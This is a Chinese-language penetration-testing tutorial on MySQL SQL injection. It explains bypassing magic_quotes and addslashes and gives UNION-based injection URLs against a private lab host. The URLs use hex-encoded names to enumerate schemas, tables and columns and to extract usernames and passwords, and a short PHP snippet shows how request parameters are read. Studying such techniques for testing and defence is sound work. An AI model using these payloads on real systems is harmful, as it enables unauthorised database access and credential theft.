渗透之路基础 — SQL注入

------正文内容展示,开始汲取新知识啦------

mysql注入(下)

​ 防注入,魔术引号 magic_quotes_gpc

​安全函数 addslashes
解决:编码绕过或宽字节注入

​ 高权限跨库注入
​ 条件:root权限
​ 获取所有数据库名
​ select schema_name from information_schema.schemata

被转义,利用十六进制转换

获取所有表名 table_schema=0x787373('xss')

http://192.168.207.128/test/sqlin.php?x=1 union select user(),2,3,table_name,5,6,7,8 from information_schema.tables where table_schema=0x787373

获取所有列名 table_name=0x6F635F75736572('oc_user')

http://192.168.207.128/test/sqlin.php?x=1 union select user(),2,3,column_name,5,6,7,8 from information_schema.columns where table_name=0x6F635F75736572

获取指定数据 from xss.oc_user

http://192.168.207.128/test/sqlin.php?x=1 union select userName,2,3,userPwd,5,6,7,8 from xss.oc_user

注意点
跨库查表:库名.表名

  • 提交方式注入
<?php $a=$_GET['x']; // 接受get请求方式的参数x $b=$_POST['y']; // 接受post请求方式的参数y $c=$_COOKIE['z']; // 接受cookie请求方式参数z echo $a."<hr>"; echo $b."<hr>"; echo $c."<hr>"; ?>

1 2 3 4 5 6 7 8 9

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞538赞赏 分享
抢沙发

请登录后发表评论

    暂无评论内容